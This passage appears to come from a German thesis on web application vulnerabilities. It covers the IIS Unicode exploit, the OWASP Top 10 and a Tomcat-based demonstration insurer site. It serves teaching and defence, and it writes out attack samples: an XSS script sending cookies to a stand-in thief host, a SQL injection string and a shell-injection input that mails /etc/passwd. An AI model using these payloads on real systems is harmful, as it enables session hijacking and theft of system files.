einem Angreifer gelingt, eine DNS-Anfrage zu manipulieren, wird ein Client seine Pakete an den falschen Server schicken. Wenn dieser nun noch die Rolle eines Proxies einnimmt und den Request an den richtigen Server leitet, wird der Angreifer zum man-in-the-middle. Remote-Dienste wie rlogin und rsh nutzen die Rückwärtsauflösung als Zugangskontrolle. Lässt sich eine Adresse zu einer berechtigten Domäne auflösen, wird der Zugang gewährt Buffer-Overflow Heutige Betriebssysteme weisen Prozessen, die sie ausführen, Arbeitsspeicher zu. Dieser wird in Heap (für Variablen) und Stack (für Laufzeitdaten) unterteilt. Um den Speicherbereich optimal auszunutzen, beginnt der Heap am unteren und der Stack am oberen Ende dieses Speicherbereiches. Heap und Stack wachsen also einander entgegen. Die Trennlinie zwischen beiden ist fließend. Beim Aufruf eines Unterprogrammes werden zunächst Verwaltungsdaten (wie die Rücksprungadresse) auf dem Stack abgelegt, bevor Speicherplatz für Parameter reserviert wird. Bei einem Buffer-Overflow übergibt ein Angreifer absichtlich mehr Daten, als das Programm eigentlich verarbeiten kann und bringt so den reservierten Speicherplatz (auf dem Stack) zum

43 Verwundbarkeiten 43 Überlaufen. Da die Speicheradressen der Parameter unterhalb der Verwaltungsdaten liegen (stack wächst von oben nach unten) wird der Speicher genau in diesen Bereich überschrieben. Normalerweise führt das zu einem Absturz. Der Angreifer wählt nun den Parameter so geschickt, dass die Rücksprungadresse durch einen anderen sinnvollen Wert überschrieben wird, wodurch er eigene oder andere Routinen ausführen kann. Dieser Angriff ist sehr kompliziert und setzt sehr gute Kenntnisse der Maschinensprache und des Zielsystems voraus. Da Java, anders als C und C++, nicht mit Zeigern arbeitet, spielt der Buffer-Overflow-Angriff hier keine Rolle Web-spezifische Angriffe HTTP ist ein Klartextprotokoll. HTML-Seiten, -Parameter, -Header und -Autorisierungen werden unverschlüsselt übertragen. Um ein Gefühl für die Komplexität von Angriffen zu bekommen, soll ein spezieller Angriff zunächst näher erläutert werden: Der Unicode Exploit im Microsoft IIS 5, auf dem die Unicode-Unterstützung standardmäßig eingeschaltet ist. 1. In der Konfiguration eines jeden Web-Servers muss ein Verzeichnis (document root) festgelegt werden, auf das im Betrieb die Pfadangabe (hinter dem Host) bezogen wird. Wird als Verzeichnis c:\programme\apache\htdocs festgelegt, löst der Server die URL auf in c:\programme\apache\htdocs\index.html und sendet die Datei als Content an den Client. Würde der Client nun eine URL in der Form anfordern, müsste der Server eigentlich die Datei c:\programme\apache\conf\httpd.conf herausgeben, da mit.. das Verzeichnis oberhalb von htdocs angesprochen wird. Da auf diese Weise Konfigurations- und Systemdateien zugänglich wären, sind Rückwärtsverweise über die document root hinaus nicht erlaubt und werden vom Server abgewiesen. 2. IIS unterstützt, wie andere Web-Server auch, die CGI-Schnittstelle und erlaubt so den Aufruf von exe-dateien (im Verzeichnis scripts). Selbstverständlich werden auch solche URLs auf unerlaubte Rückwärtsverweise untersucht. 3. Die Spezifikation der URL in [9] legt fest, dass eine URL nur aus bestimmten Zeichen bestehen darf. Dazu gehören große und kleine Buchstaben und die Zahlen von 0 bis 9. Zusätzlich dürfen -, _,.,!, ~, *, ', ( und ) verwendet werden. Neben dieser Menge gibt es Zeichen, denen eine besondere Bedeutung zukommt. Zu diesen reservierten Zeichen gehören ;, /,?, &, =, +, $ und das Komma. Alle übrigen Zeichen (dazu gehört auch das Leerzeichen 26 ) müssen hexadezimal in der Form %xx notiert werden. Eine spezielle Rolle kommt noch dem eigentlich unerlaubten #-Zeichen zu, welches in HTML als Anker verwendet wird und so in der Adresse einer HTML-Seite verwendet werden kann. Soll eine URL reservierte Zeichen enthalten, die nicht interpretiert werden sollen, sind auch diese hexadezimal zu kodieren. Mit encodeuri und encodeuricomponent sind solche Funktionen 26 In HTML 4.01 wird im MIME application/x-www-form-urlencoded das Leerzeichen durch + ersetzt.

44 Verwundbarkeiten 44 in JavaScript schon vorhanden. Das Encoding ist Aufgabe des Clients, der die URL an den Server überträgt. [9] empfiehlt, die URL beim Zusammensetzen zu encoden 27. In einer URL wird in Protokoll und Host nicht zwischen Groß- und Kleinschreibung unterschieden. Ohne eine Portangabe wird der Standardport eingesetzt und der Schrägstrich zur Kennzeichnung des Wurzelverzeichnisses kann weggelassen werden. Daher sind folgende URLs äquivalent: Der Unicode Exploit Der Schrägstrich als Pfadtrenner (ASCII 47) wird binär dargestellt. Im Unicode kann der gleiche Code verwendet werden. Kodiert man das Zeichen aber in zwei Bytes erhält man die überlange Darstellung , welche hexdezimal %c0%af entspricht. Der Exploit läuft wie folgt ab (vgl. [26]): Eingabe der URL: 1. Ein Decode liefert: dir c:\ 2. In der URL werden keine unerlaubten Rückwärtsverweise gefunden. 3. Das Zeichen À gehört nicht zu 7-Bit-ASCII und wird als Anfang eines Unicodezeichens interpretiert. Er ergibt sich: dir c:\ 28 Da keine weitere Prüfung auf Rückwärtsverweise erfolgt, wird das exe-file gesucht und mit den übergebenen Parametern ausgeführt. Auch der Double Decode Bug im IIS funktioniert auf eine ähnliche Art und Weise: URL: 1. Ein Decode liefert 29 winnt/system32/cmd.exe?/c dir c:\ 2. In der URL werden keine unerlaubten Rückwärtsverweise gefunden. 3. In der Behandlung der URL wird (egal warum) Decode später ein zweites Mal aufgerufen: dir c:\ Wieder findet keine zweite Prüfung auf Rückwärtsverweise statt. Der Angriff war erfolgreich. 27 Auch wenn Browser die Vorgaben der Spezifikation erfüllen, darf der Server dieses nicht erwarten. 28 Durch die Option /c beendet sich die Shell nach dem Ausführen des Befehls dir. 29 %5c lässt sich auf vielerlei Weise encoden. Eine davon ist %255c. (%25 ist % encoded)

45 Verwundbarkeiten 45 Zur Behebung dieser Fehler hat Microsoft inzwischen natürlich einen Patch erstellt. Trotzdem ist an diesem Beispiel einiges bemerkenswert: Es stellt sich sofort die Frage: Wer kommt auf so eine Idee? Tatsache ist: Jemand kam. Programme haben Fehler (und werden sie immer haben). Es gehört wohl zur Natur und Experimentierfreude des Menschen, solche Schwächen zu finden und auszunutzen. Entfernung spielt im Internet keine Rolle. Webanwendungen sind (wenn man Glück hat) rund um die Uhr erreichbar. Wird in Amerika ein neuer Fehler entdeckt, haben tausende davon erfahren, bevor in Deutschland der Arbeitstag beginnt. Es gibt viele Wege, dir c:\ zu kodieren. Das Problem des Encodings ist nicht trivial. Ein simples Verbot einzelner Zeichen(folgen) ist keine Lösung. Eine Anwendung nutzt das Zusammenspiel vieler Systeme. Im Beispiel kamen ein Browser, IIS, CGI, URL, HTML, UTF-8 und Unicode zusammen. Neue Versionen und Spezifikationen bringen wieder neue Veränderungen. Das OWASP (The Open Web Application Security Project) hat eine Top 10 der most critical web application security vulnerabilities [27] zusammengestellt. Einige Punkte sind im Grunde nur Spezialisierungen anderer Punkte. Hierauf wird später eingegangen. Nachfolgend ist die Liste zusammen mit einige Anmerkungen angegeben Unvalidated Input (Platz 1) Für eine Anwendung sollte gelten: Alles, was von außen kommt, ist potentiell schädlich und muss zuerst überprüft werden. Viele Anwendungen prüfen Eingabedaten unter Verwendung von JavaScript auf dem Client. Solche Validierungen sind relativ leicht zu umgehen. Ein Angreifer kann eine HTML-Seite speichern, editieren und im Browser wieder aufrufen oder über einen eigenen HTTP-Client beliebige Daten senden. Sehr viele Anwendungen behandeln zudem GET und POST (im Servlet dopost und doget) gleich. So kann ein Angreifer Daten statt in einem POST-Request als Parameter einer GET-Anfrage in der URL übertragen, was mit noch weniger Aufwand möglich ist. Viele der folgenden Angriffe lassen sich auf unvalidierten Input zurückführen Broken Access Control / Authorization (Platz 2) Was darf ein Benutzer auf einer Site machen oder sehen? Meistens geht der Rechteprüfung eine Anmeldung (Authentifizierung; vgl 5.2.4) voraus. Rechtekonzepte sind zum Teil unausgereift, rudimentär oder kein integrativer Bestandteil der Anwendung. Mitunter ist der einzige Schutz eines Bereiches (oder einer Seite) der, dass kein Link im offiziellen Teil der Seiten vorhanden ist. Der Unicode Exploit ist dann nur ein Weg, den Schutz zu umgehen. Es gibt Anwendungen, die den Referer-Header nutzen, um sicherzustellen, dass die Anfrage von ihrer Webseite stammt. Dies soll verhindern, dass ein Angreifer eine Seite abspeichert, manipuliert und erneut aufruft. Es liegt in der Natur von HTTP, dass dies kein Schutz ist. Genausowenig sollte eine Anwendung davon ausgehen, dass Aufrufe in einer gewünschten Reihenfolge kommen. Auch wenn eine Site durch die Verwendung von Hyperlinks eine Art

46 Verwundbarkeiten 46 Workflow vorgibt, kann ein Anwender diesen ungewollt (etwa durch ein Lesezeichen) oder gewollt durchbrechen. Auch fehlerhafte Konfiguration (vgl ) kann dazu führen, dass für einen Angreifer der Zugriff auf einen geschützen Bereich möglich ist Broken Authentication (Platz 3) Das Problem der Zustandslosigkeit von HTTP wurde ausgiebig besprochen (vgl ). Bindet ein Server nun eine Session z. B. an ein Cookie, wird er jedem Client, der dieses Cookie sendet, die Session (und die damit verbundenen Zustände und Daten) zuordnen. Cookies sind darum das Ziel diverser Angriffe (session hijacking). Moderne Application-Server (Servlet Container) stellen ein fertiges Session-Handling zur Verfügung. Auch wenn die Konzepte relativ einfach sind, ist Session-Handling nicht trivial. Alte oder selbstgeschriebene Implementierungen können daher für Angreifer u. U. leicht zu umgehen sein. So gibt es Programme, die von einer Anwendung hunderte Cookies erzeugen lassen, um anschließend nach einem Muster (Timestamp, Nummerierung) darin zu suchen. Wenn geschützte Bereiche (SSL) verlassen werden 30, werden auch Cookies wieder unverschlüsselt übertragen 31. Eine Anwendung sollte die Daten der Session vorher löschen. Eine gute Zugangskontrolle ist nutzlos, wenn vergessene Passworte in s an die Anwender verschickt werden, die nicht verschlüsselt sind. Für eine Anwendung, die beliebig viele Fehlversuche bei der Eingabe eines Passwortes zulässt, könnte ein Angreifer ein einfaches Programm (HTTP-Client) schreiben, das tausende Passworte einfach ausprobiert Cross-Site-Scripting / XSS (Platz 4) Ein Benutzer wird davon ausgehen, dass der Inhalt, den er aufgrund seiner Anfrage erhält, von dem Host stammt, den er in der URL spezifiziert hat (und vertrauenswürdig ist). Ohne eine Manipulation am DNS, ARP, etc. (vgl. oben) ist diese Annahme auch gerechtfertigt. Erscheint eine Benutzereingabe ungeprüft (oder falsch geprüft) als Ausgabe in einer HTML- Seite (z. B. als Scriptlet <%= request.getparameter("name") %>), ist diese Site anfällig für XSS. Ziel von XSS ist es, einem Opfer Daten (meistens JavaScript) so zuzuspielen, dass der Browser annehmen muss, sie kämen von der spezifizierten URL. Enthält eine Seite (page.jsp) das oben genannte Scriptlet, würde ein Aufruf in der Form Hallo );</script> dazu führen, dass der Server (Servlet) eine HTML-Seite erzeugt, in der er den Parameter name ohne ihn zu validieren, einbindet. Der so eingebrachte Script-Code wird an den Client gesendet und vom Browser als Teil der Seite im Kontext der Domäne beispiel.de ausgeführt. 30 Ein Browser warnt in der Regel an solchen Stellen. Leider verstehen wohl die wenigsten Anwender, wo das Problem liegt. 31 Nicht so bei secure cookies. Diese werden bei unverschlüsselter Verbindung gar nicht übertragen.

47 Verwundbarkeiten 47 Zu einer XSS Attacke sind so immer drei Parteien erforderlich: 1. Eine Anwendung (in einer Internetpräsenz), die anfällig für XSS ist. 2. Ein Angreifer, der die Schwachstelle ausnutzt und einen präparierten Link veröffentlicht. 3. Ein ahnungsloses Opfer, dass diesen Link aufruft. Ein solcher Link kann einem Opfer z. B. als zugehen oder in einem Gästebuch oder Forum stehen. Interessant ist XSS für einen Angreifer, da er mit JavaScript (im Kontext der Domäne, von der die Seite stammt) auch Zugriff auf Cookies (dieser Domäne) hat. So könnte er ein Bild verwenden, welches er dem Opfer in einer HTML-Mail schickt oder in einem Forum versteckt, und an die URL die Session-ID des Opfers anhängen: <script> (new Image).src="http://dieb.de/catch.do?c="+escape(document.cookie); </script> Mit einem ausgespähten Cookie kann ein Angreifer sich Zugang zu den Sessiondaten des Benutzers verschaffen, dem das Cookie ursprünglich zugeteilt wurde (vgl ) Buffer overflows (Platz 5) Wurde in besprochen Injection Flaws (Platz 6) HTTP-Requests enthalten Parameter. Diese Parameter werden von der Anwendung gelesen und verarbeitet. Nichts anderes wurde schon bei der Beschreibung von XSS ausgesagt (vgl. Cross-Site scripting (5.2.5)). Injection Flaws sind im Prinzip eine Generalisierung des XSS-Problems bzw. ein Problem aufgrund unvalidierter Eingabe (5.2.2). Eingaben werden zur Verarbeitung u. U. an diverse Subsysteme gegeben. Der bekannteste Injection Flaw ist SQL-Injection und entsteht, wenn Parameter als SQL-Anweisung (oder Teile einer SQL-Anweisung) an eine Datenbank gegeben werden. Injiziert in eine Zeile der Form String cmd = "select id from vertrag where versnr="+parameter.getversnr(); wird eine Eingabe wie 0815 OR 1=1 immer zu true ausgewertet, unabhängig davon, ob die VersNr 0815 existiert oder nicht. Ein anderer Injection Flaw entsteht, wenn Scriptsprachen zur Ausführung einer Aufgabe auf externe Programme (z.b. die Betriebssystem-Shell) zurückgreifen. So führt ein Script der Form $ = $userdata{ }; open(mail, /usr/sbin/sendmail $ ); mit der Eingabe mail < /etc/passwd dazu, dass die Passwortdatei des Systems an den Angreifer verschickt wird. Neuerdings werden Webspider, wie der Google Suchroboter, missbraucht, um serverseitige Attacken auszuführen. Hierzu wird ein präparierter Link auf einer Webseite veröffentlicht. Sobald ein Webspider diesem Link folgt, löst er die Attacke aus. Dadurch taucht die IP-Adresse des Spiders und nicht die des eigentlichen Angreifers in den Protokollen des angegriffenen Systems auf.

48 Verwundbarkeiten 48 Das Problem liegt in allen Fällen darin, dass das Subsystem Metazeichen (oder reservierte Wörter) verwendet, die der Aufrufer ohne Behandlung weitergegeben hat. So wurde die SQL-Anweisung syntaktisch korrekt mit OR erweitert, während das Script der Shell durch ; getrennt eine zusätzliche Anweisung erteilte Improper Error Handling (Platz 7) Moderne Programmiersprachen (wie Java) verwenden Exception-Handling zur Behandlung von Ausnahmen. Dabei sind Ausnahmen zu unterscheiden, die in speziellen Situationen auftreten können (z. B. FileNotFoundException) und häufig vom Programmierer behandelt werden. Daneben gibt es Ausnahmen, die an fast jeder Stelle in einem Programm möglich sind (z. B. NullPointerException, ClassCastException). Wird ein Problem nicht behandelt, wird es in der Aufrufhierarchie (Call-Stack) so lange nach oben gereicht, bis sich eine Behandlungsroutine findet. In einem Application-Server (bzw. Servlet Container) wird eine Ausnahme, den die Anwendung (Servlet) nicht behandelt, als Ausgabe in die HTML-Seite geschrieben, die an den Client geschickt wird. Während eine solche Ausgabe, bei der Entwicklung hilfreich sein kann, liefert sie im produktiven Betrieb einem Angreifer detaillierte Informationen über die Anwendung. Aus diesem Grund sollte eine Anwendung Exceptions protokollieren aber nur eine allgemeine Hinweisseite in den Response schreiben. Nicht jede Anwendung verhält sich auf diese Weise. Bei einigen Systemen kann die Ausnahmenbehandlung konfiguriert werden (vgl ) Insecure Storage (Platz 8) Durch geschickte Injection Flaws, den Unicode Exploit oder andere Schwachstellen kann ein Angreifer an wertvolle Informationen gelangen. Neben Cookies gehören dazu natürlich auch Passwörter. Zum Herstellen sicherer Verbindungen über SSL benötigt ein Server außerdem den privaten Schlüssel eines Schlüsselpaares. All diese Informationen sollten sicher und unzugänglich auf dem Server gespeichert sein 32. So ist es z. B. sinnvoll, nicht Passwörter zu speichern, um bei einem Anmeldeprozess gegen sie zu prüfen, sondern statt dessen Hashcodes zu erzeugen (und zu speichern). Gibt ein Benutzer bei der Anmeldung sein Passwort ein, wird zu diesem zunächst ebenfalls der Hashwert bestimmt und mit dem gespeicherten Wert verglichen. Eine solche Datei wäre für einen Angreifer (sollte es ihm gelingen, sie zu lesen) von geringerem Wert, da er die Hashwerte nicht als Passworte verwenden kann. Auch ist es nicht sinnvoll, eigene Verschlüsselungsverfahren zu entwickeln, da gute und ausgetestete Mechanismen frei verfügbar sind Denial of Service (Platz 9) Ein Client verbindet sich immer zu einem Socket des Servers. Multitaskingfähige Systeme können threoretisch tausende Verbindungen quasi parallel bearbeiten. Trotzdem benötigt jede 32 Ein solches sicheres Verzeichnis auf einem Application-Server ist das Verzeichnis WEB-INF, in dem eine Web-Anwendung neben dem Deployment-Descriptor wichtige Dateien speichert.

49 Verwundbarkeiten 49 Verbindung Ressourcen (z. B. Speicher für die Session) und Rechenzeit, so dass in der Praxis die Anzahl der Verbindungen begrenzt ist. Denial of Service-Attacken belegen den Server mit so vielen Anfragen, dass sich keine anderen Clients mehr verbinden können, die Antwortzeiten erheblich ansteigen oder der Server (bzw. das Serverprogramm) unter Umständen (wenn z. B. keine Anzahl maximaler Verbindungen festgelegt wurde) sogar abstürzt, weil kein Speicher mehr zur Verfügung steht. Eine andere Variante dieses Angriffs, bringt einen Server, z. B. durch wiederholte Falschanmeldung, dazu, ein Benutzerkonto zu deaktivieren oder zu sperren Insecure Configuration Management (Platz 10) Es gibt viele Arten von Konfigurationsproblemen. Die Verfügbarkeit eines Sicherheitsupdates bedeutet nicht, dass ein Administrator es auch nutzt. Kein Administrator wird fragen, ob alle Dateien, die zu einer Web-Anwendung gepackt werden, auch sinnvoll und nötig sind. Nicht alle Standardeinstellungen sind für den produktiven Betrieb geeignet. So ist möglicherweise die Web-Console eines Web- oder Application-Servers eingeschaltet oder ein System arbeitet mit Standardpassworten wie admin oder manager. Web-Applikationen werden über den Deployment-Descriptor konfiguriert. Der Application-Server sucht ihn in der Datei WEB-INF/web.xml. Darüber hinaus gibt es einen globalen Deployment-Descriptor. In diesem werden spezielle Servlets (und Mappings) definiert. Zu nennen sind hier vor allem Default-Servlet, Invoker- und JSP-Servlet. Letzteres ist für die Kompilierung einer JSP zu einem Servet verantwortlich und wurde schon besprochen (vgl ). Als Mapping für das Invoker-Servlet wird in der Regel /servlet/* verwendet. Durch den Invoker können Servlets mit qualifiziertem Klassennamen aufgerufen werden. Beispiel: Auf diese Weise können auch Servlets aufgerufen werden, für die kein Mapping definiert wurde. Um zu verhindern, dass ein Angreifer alte Servlets oder Testprogramme aufruft, sollte im produktiven Betrieb nur mit konkreten Zuordnungen gearbeitet werden. Das Default-Servlet schließlich erzeugt zu einer URL mit abschließendem / (Slash) eine Verzeichnisliste. Einem Angreifer gibt dies Einblicke in die Struktur der Site und unter Umständen auf Files (Altlasten), die unabsichtlich publiziert wurden. Bei der Entwicklung wird es immer wieder vorkommen, dass Backups von Dateien angelegt werden. Einige Editoren machen dies automatisch. Andere Dateien entstehen vielleicht, weil der Entwickler nur mal etwas ausprobieren will. Eine Datei index.jsp, wird ein Benutzer nie zu Gesicht bekommen, da der Application-Server (Servlet Container) daraus ein Servlet erstellt, welches die eigentliche Ausgabe erzeugt. Eine Datei index.jsp.bak hingegen wird der JSP-Compiler nicht bearbeiten. Sie wird unverändert übertragen und ein Angreifer erhält Einblick in das Innenleben der Anwendung. Ungewollt können auch Regeln (Security-Constraints) im Deployment-Descriptor außer Kraft gesetzt werden, wenn sich Verzeichnisse z. B. bei einer Reorganisation der Site ändern.

50 Verwundbarkeiten 50 Eine andere Liste (The Twelve Most Common Application Hack Attacks) findet sich bei [28]. Genannt werden in dieser Arbeit daher nachfolgend nur die Angriffe, die noch nicht erwähnt wurden. Auch hier lassen sich Überschneidungen beobachten Hidden Field Manipulation Hidden Values können als Alternative zum Session-Handling über Cookies verwendet werden (vgl ) und beinhalten in den meisten Fällen Statusinformationen. In einigen Fällen können sie auch verwendet werden, um Session-Handling völlig zu vermeiden. Werden Informationen über mehrere Seiten gesammelt, könnte ein Servlet die Informationen der vorausgehenden Seiten in versteckten Feldern in das Formular schreiben, das er dem Client schickt. So werden mit der letzten Seite alle benötigten Informationen gesendet. Der Server muss sich so keinen Zustand merken. Auch wenn Hidden Values in einem Browser nicht direkt manipuliert werden können, kann ein Angreifer die Seite zunächst speichern, verändern und im Browser wieder aufrufen oder die Felder in einem speziellen Client mit beliebigen Werten überschreiben Parameter Tampering Während Felder in HTML-Forms in aller Regel in POST-Requests gesendet werden, kann auch die GET-Methode verwendet werden. GET-Requests oder URL Rewriting übergeben Parameter sichtbar in der URL. Hier wird es selbst unerfahrenen Benutzern gelingen die URL mit veränderten Parametern aufzurufen. GET-Anfragen lassen sich im Browser beliebig wiederholen Backdoor and Debug Option Mitunter nutzen Entwickler Optionen wie debug=true oder trace=true, um (noch) nicht die vorgesehene Standardfehlerseite zu erzeugen. Eine Option providessl=false könnte (noch) verhindern, dass für eine Verbindung SSL erzwungen wird. Oder der Entwickler schaltet Methoden wie validateinput, checkdongle, checkrole oder authenticateuser kurzzeitig ab, sei es aus Performancegründen oder da sie ihrerseits Subsysteme verwenden, die gerade nicht zur Verfügung stehen. All diese Einstellungen müssen bei Produktionslegung zurückgesetzt werden, um den sicheren Betrieb zu gewährleisten. Es kommt immer wieder vor, dass das für einzelne Optionen vergessen wird Forceful Browsing Unter Forceful Browing versteht man die gezielte Suche nach Informationen wie Logfiles, Backupdateien, eingeschaltetem Default-Servlet (mit Verzeichnisdienst) oder auch admin.cgi und offenen PHP-Dateien. Gemeint ist auch das Ausprobieren von Passwörtern oder der Versuch, Zugangsbeschränkungen zu umgehen HTTP Response Splitting Eine häufig unterschätzte Schwachstelle sind die Systeme, die zwischen Client und Server aktiv sind. Wenn es einem Angreifer gelingt eine Seite in einem Caching-Proxy zu manipulieren oder dort abzulegen, hat das für alle Clients, die den Cache verwenden (müssen!) die gleiche Wirkung, als wäre die Originalseite auf dem Server verändert worden.

51 Verwundbarkeiten 51 Ein Angreifer kann z. B. die Anmeldedaten eines Online-Banking-Servers auf einen anderen Server umleiten. Zwar ist es grundsätzlich möglich, über HTTP einen Cache anzuweisen eine Seite nicht zu speichern, aber nicht jede Seite enthält diese Anweisung und nicht jeder Cache beachtet diese Einstellung Web-Trojaner Viele Aktionen im Web (Umfragen, Abonnieren eines Newsletter, etc.) werden durch Formulare gesteuert. Formulare erzeugen POST-Requests (u. U. sogar auf GET-Requests) und senden Parameter. Wird eine Aktion durch einen einzigen Request abgeschlossen, kann ein Angreifer durch die Verwendung einer URL (oder einer HTML-Seite) mit den erforderlichen Parametern ein Opfer dazu bringen, (ungewollt) Aktionen auszuführen Phishing Phishing ist wahrscheinlich ein Kunstwort aus den Begriffen Password und Fishing. Gemeint ist der Versuch, gutgläubige (oder schlecht informierte) Anwender dazu zu verleiten, Zugangsdaten auf der Webseite eines Angreifers einzugeben. Abb. 12: Aufwändige Phishing-Seite. Man beachte die URL und das schlechte Deutsch.

52 Das Demonstrationssystem Das Demonstrationssystem Bei der Demonstration 33 handelt es sich um den Internetauftritt einer fiktiven Versicherung. Ein Anwender hat die Möglichkeit zu einem alters- und geschlechtsabhängigen Beitrag eine Versicherung zu erwerben (Abb. 13). Zum Abschluss benötigt das System neben dem Geburtsdatum, Namen und Anschrift des Versicherten (Abb. 14). Vom System wird eine Versicherungsnummer generiert und dem Kunden nach der Policierung angezeigt (Abb. 15). Durch Angabe dieser Versicherungsnummer lassen sich weitere Personen zu einem bestehenden Vertrag ergänzen. Ein Kunde kann sich unter Angabe von Versicherungsnummer und Namen für einen geschlossenen Kundenbereich registrieren (Abb. 16). Dazu muss er außerdem einen Benutzernamen und ein Kennwort vergeben. Einmal angemeldet kann er seine Vertragsdaten anzeigen lassen (Abb. 17), sich abmelden oder seinen Zugang zum Kundenbereich löschen. Im öffentlichen Bereich bietet das Unternehmen außerdem ein Gästebuch an, in das ein Besucher beliebigen Text (und HTML) eintragen kann. Abb. 13: Produktauswahl 33 Der Application-Server kann im Verzeichnis jakarta-tomcat-5.5.7/bin mit dem Kommando catalina start gestartet werden. Zum Stoppen ist catalina stop einzugeben.

53 Das Demonstrationssystem 53 Abb. 14: Eingabe der Personendaten Abb. 15: Ausgabe der Versicherungsnummer nach erfolgreichem Abschluss

54 Das Demonstrationssystem 54 Abb. 16: Anmeldung zum Kundenportal Abb. 17: Anzeige von Kundendaten im Kundenportal

55 Das Demonstrationssystem Komponenten, Software, Konfiguration Das Programm wurde vollständig in Java implementiert. Basis für alle Programme ist das Sun SDK 1.5 (jdk-1_5_0_03-windows-i586-p.exe). Als Entwicklungsumgebung wurde die Eclipse Plattform 3.1 verwendet. Als Plugin wird zusätzlich Sysdeo Tomcat beta (tomcatpluginv31beta.zip) in das gleichnamige Verzeichnis der Entwicklungsumgebung (ecipse/plugin) entpackt. Die Eclipse-Umgebung kann (mit allen Einstellungen) aus dem auf der CD enthaltenen Archiv wiederhergestellt werden. Als Application-Server kommt Jakarta-Tomcat (jakarta-tomcat zip) mit Servlet-API 2.4 zum Einsatz. In der Server-Konfiguration (conf/server.xml) wurde ein JNDI-Eintrag für die Datenbank und ein Realm 34, der diese Datenbank verwendet, ergänzt. <GlobalNamingResources> <Resource name="jdbc/mysqldb" auth="container" type="javax.sql.datasource" driverclassname="com.mysql.jdbc.driver url="jdbc:mysql://localhost/securita"/> 35 <Engine name="catalina" defaulthost="localhost"> <Realm classname="org.apache.catalina.realm.datasourcerealm" datasourcename="jdbc/mysqldb" usertable="user" usernamecol="opid" usercredcol="pass" userroletable="role" rolenamecol="role" 36 /> Über JNDI wird der für MySQL gängige JDBC-Treiber Connector (mysql-connector-java-3.1.8a.zip) verwendet. Als Datenbank wird MySQL genutzt. Im Treiberarchiv enthalten ist die Bibliothek mysql-connector-java bin.jar. Die Datei muss dem Applikation-Server zur Verfügung gestellt werden. Dazu wird sie in das Serververzeichnis common/lib, welches Fremdbibliotheken für den Betrieb des Servers enthält, kopiert. Zum Sysdeo Tomcat-Plugin (eclipse/plugin/com.sysdeo.eclipse.tomcat_3.1.0.beta) gehört ein Archiv DevLoader.zip, welches in das Verzeichnis server/classes der Tomcat-Installation entpackt werden muss. Tomcat ist die offizielle Referenzimplementierung eines Applikation-Servers, der die Java-Servlet- (2.4) und Java-Server-Pages-Spezifikation (2.0) erfüllt. Tomcat kann sowohl als (einfacher) HTTP-Server (stand alone) oder als Plugin eines leistungsfähigeren Web-Servers (z.b. Apache) eingesetzt werden. 34 Der aktive Realm (UserDatabase) muss in der Konfiguration entfernt werden. 35 Hier ist der einzige Bezug der gesamten Anwendung zur verwendeten Datenbank. 36 Auch in userroletable muss eine Spalte usernamecol vorhanden sein. Der Name muss identisch mit dem Namen sein, der auch in usertable verwendet wird.

56 Das Demonstrationssystem 56 Um Tomcat außerhalb der Entwicklungsumgebung zu starten, muss die Umgebungsvariable JAVA_HOME gesetzt werden 37. Das kann im Betriebssystem oder in der Datei catalina.bat geschehen. Der Start erfolgt über catalina start oder startup (das Beenden entsprechend über catalina stop oder shutdown). Tomcat kann als Server neben HTTP- auch HTTPS-Verbindungen annehmen. In der Konfiguration (server.xml) ist dazu der entsprechende Abschnitt (<Connector port="8443"...) zu aktivieren, indem die Kommentarzeichen (<!-- -->) entfernt werden. Darüber hinaus benötigt Tomcat ein self-signed-certificate, dessen Erstellung ebenfalls in der Konfigurationsdatei beschrieben ist: %JAVA_HOME%\bin\keytool -genkey -alias tomcat -keyalg RSA Als Passwort für Zertifikat und Keystore wird changeit verwendet. Das Programm keytool legt das erstellte Zertifikat in der Datei.keystore im Profilverzeichnis des Benutzers ab. Die Standardeinstellung des Tomcat bezüglich Sockets wurde nicht verändert. Für HTTP wird Port 8080 und für HTTPS Port 8443 verwendet. Die Datenbankinstallation wird durch den Aufruf von SETUP.EXE im Archiv mysql win.zip gestartet. Nach der Installation kann im Verzeichnis mysql/bin das Programm winmysqladmin.exe gestartet werden. Schon bei der Installation erschien ein Hinweis, dass, abhängig vom Installationsverzeichnis, Einstellungen in der Datei my.ini erforderlich sind. Dabei sind zwei Arbeitsverzeichnisse im my.ini Setup von Bedeutung: [mysqld] basedir=c:/java/mysql datadir=c:/java/mysql/data Nach dem Abspeichern der Einstellungen kann der Datenbankservice gestartet werden. Als visuelles Feedback erscheint eine grüne Ampel. Alle Komponenten sind frei verfügbar (open source), stabil und etabliert. Die SEU (und weitere Archive mit Quellen) liegt der Arbeit als CD bei Das Webarchiv (Securita-Website) Webarchive werden dem Tomcat in Form von WAR-Files (im Verzeichnis webapps) zur Verfügung gestellt. Findet der Server beim Start ein neues WAR, wird es automatisch entpackt und deployed. Zusätzlich legt der Server für ein Webarchiv einen Context an. Die Datei WEB-INF/web.xml wird dabei als Deployment-Descriptor bezeichnet. Spezielle Einstellungen (in der Regel sind das produktabhängige Einstellungen) sind über den Deployment-Decriptor jedoch nicht möglich. So ist hier zusätzlich die Zuordnung des JNDI-Namens der Datenbankressource zu einer konkreten Ressource erforderlich. <Context path="/securita" reloadable="true"> <ResourceLink name="jdbc/mysqldb" global="jdbc/mysqldb" type="javax.sql.datasource /> </Context> 37 Bei einigen Systemen (nicht XP) muss zusätzlich CATALINA_HOME gesetzt werden.

57 Das Demonstrationssystem 57 Tomcat berücksichtigt beim Deployment spezielle Kontexte in der Datei META-INF/context.xml. Der Kontext wird in die Datei server.xml eingetragen. Alternativ ist die Verwendung eines Konfigurationsfiles (<APPNAME>.xml) möglich. Für die im Deployment-Descriptor geregelte Zugangskontrolle wurden die Standardmechanismen des Servlet-Containers verwendet. Allerdings nutzt, wie oben beschrieben, der Realm die Datenbank 38. <security-constraint> <web-resource-collection> <description>das Kundenportal</description> <web-resource-name>kundenportal</web-resource-name> <url-pattern>/pages/kundenportal/*</url-pattern> <http-method>post</http-method> <http-method>get</http-method> </web-resource-collection> <!--auth-constraint/--> <auth-constraint> <description>der Kunde</description> <role-name>customer</role-name> </auth-constraint> <user-data-constraint> <description>hier fuer HTTPS sorgen</description> <transport-guarantee>integral</transport-guarantee> </user-data-constraint> </security-constraint> <login-config> <auth-method>form</auth-method> <form-login-config> <form-login-page>/pages/login.jsp</form-login-page> <form-error-page>/pages/login.jsp</form-error-page> </form-login-config> </login-config> <security-role> <role-name>customer</role-name> </security-role> <session-config> <session-timeout>10</session-timeout> 39 </session-config> Struts Die Anwendung wurde mit Hilfe von Struts realisiert. Struts ist ein Servlet-Framework, das in einer MVC-Architektur (Model-View-Controller) 